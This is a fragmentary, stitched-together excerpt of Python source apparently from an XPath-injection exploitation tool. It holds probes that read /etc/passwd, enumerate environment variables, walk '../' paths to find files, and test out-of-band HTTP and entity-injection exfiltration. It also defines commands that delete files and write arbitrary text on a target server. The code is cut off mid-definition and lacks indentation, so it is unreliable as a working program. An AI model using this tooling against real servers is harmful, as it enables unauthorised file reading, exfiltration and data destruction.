async def find_file_by_name(requester: Requester, file_name):
for i in range(10):
path = ('../' * i) + file_name
print(path)
path_expression = resolve_uri(path, document_uri(E('/')))
if requester.features['doc-function']:
if await requester.check(doc_available(path_expression)):
print('XML file {path} available'.format(path=path))
if requester.features['unparsed-text']:
if await requester.check(unparsed_text_available(path_expression)):
print('Text file {path} available'.format(path=path))
Feature('normalize-space', [normalize_space(' a b ') == 'a b']),
Feature('substring-search', [
string_length(substring_before(ASCII_SEARCH_SPACE,
'h')) == ASCII_SEARCH_SPACE.find('h'),
string_length(substring_before(ASCII_SEARCH_SPACE, 'o'))
== ASCII_SEARCH_SPACE.find('o')
]),
Feature('codepoint-search', [
string_to_codepoints("test")[1] == 116,
string_to_codepoints("test")[2] == 101,
string_to_codepoints("test")[3] == 115,
string_to_codepoints("test")[4] == 116,
]),
Feature('environment-variables',
[exists(available_environment_variables())]),
Feature('document-uri', [document_uri(E('/'))]),
Feature('current-datetime', [string(current_date_time())]),
Feature('unparsed-text', [unparsed_text_available(document_uri(E('/')))]),
Feature('doc-function', [doc_available(document_uri(E('/')))]),
Feature('linux', [unparsed_text_available('/etc/passwd')]),
Feature('expath-file', [string_length(current_dir()) > 0]),
Feature('saxon', [evaluate('1+1') == 2]),
Feature('oob-http', test_oob(OOBHttpServer.test_data_url)),
Feature('oob-entity-injection', test_oob(OOBHttpServer.test_entity_url))
]
async def detect_features(requester: Requester) -> List[Feature]:
returner = []
for feature in features:
def help_display(self):
return ' '.join('"{arg}"'.format(arg=arg) for arg in self.args)
COMMANDS = [
Command(
'get', ['xpath-expression'],
'Fetch a specific node by xpath expression',
lambda requester, expression: display_xml(
get_nodes(requester, E(expression))), None),
Command('get_string', ['xpath-expression'],
'Fetch a specific string by xpath expression',
lambda requester, expression: get_string(requester, E(expression)),
None),
Command('pwd', [], 'Get the URI of the current document',
lambda requester: get_string(requester, document_uri(E('/'))),
['document-uri']),
Command(
'time', [], 'Get the current date+time of the server',
lambda requester: get_string(requester, string(current_date_time())),
['current-datetime']),
Command(
'rm', ['path'], 'Delete a file by path',
lambda requester, path: throwfailed(count(requester, delete(path))),
['expath-file']),
Command(
'write-text', ['location', 'text'], 'Write text to location',
lambda requester, location, text: throwfailed(
requester.check(write_text(location, text))), ['expath-file']),
Command(
'cat_xml', ['path'], 'Read an XML file at "location"',